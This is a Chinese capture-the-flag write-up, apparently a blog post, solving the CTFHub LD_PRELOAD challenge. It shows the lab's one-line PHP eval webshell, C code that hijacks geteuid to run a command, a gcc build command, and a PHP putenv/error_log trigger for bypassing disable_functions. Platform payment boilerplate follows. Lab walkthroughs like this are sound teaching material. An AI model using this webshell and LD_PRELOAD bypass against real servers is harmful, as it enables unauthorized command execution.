ctfhub-web进阶-[LD_PRELOAD]

ctfhub-web进阶-[LD_PRELOAD]
题目描述:

目标:获取服务器上 /flag 文件中的 flag。需要了解 Linux LD_PRELOAD 环境变量。

CTFHub Bypass disable_function —— LD_PRELOAD
本环境来源于AntSword-Labs

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub Bypass disable_function —— LD_PRELOAD</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— LD_PRELOAD</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

经典的LD_PRELOAD,直接使用蚁剑连接
在这里插入图片描述
根目录下出现了flag,但无法读取,也存在有readflag这类执行文件,使用蚁剑的插件就可以绕了
在这里插入图片描述
点击开始,即可在网站目录下生成文件
在这里插入图片描述
蚁剑连接这个文件,密码用原来的密码就可以
在这里插入图片描述
随后进入虚拟终端来执行readflag,即可获得flag
在这里插入图片描述
上面这是用蚁剑插件的方式来绕过LD_PRELOAD,还有一种是手动上传文件来绕

尝试利用LD_PRELOAD来动态链接重写这个getuid函数
为什么要用getuid这个函数?

因为我们是要劫持某个某个函数,而被劫持的函数得由我们来自己实现一次,所以函数原型必须一致,这就好说了,为了减少工作量,减少复杂性,所以我们尽量选择那些没有参数的系统函数,getuid就是这样的一个函数

步骤:

创建一个.c文件

#include<stdlib.h>
#include <stdio.h>        
#include<string.h> 
 
void payload(){
	system("/readflag >/tmp/yy");
}   
 
int geteuid(){
if(getenv("LD_PRELOAD") == NULL)
{ 
return 0; 
}
unsetenv("LD_PRELOAD");
payload();
}

接着用gcc编译,生成.so文件

gcc -fPIC -shared yy.c -o yy.so

然后先蚁剑连接网站,将yy.so上传到/tmp目录下
在这里插入图片描述

接着可以使用mail()函数去利用这个LD_PRELOAD,但mail()函数是被禁了的
在这里插入图片描述
但是还可以利用error_log()函数

<?php
putenv("LD_PRELOAD=/tmp/yy.so");
error_log("",1,"","");
?>

将这串代码上传到网站目录下
在这里插入图片描述
随后访问yy.php,再回到/tmp目录下,可以看到已经生成了yy文件
在这里插入图片描述
点开即是flag

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

o3Ev

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值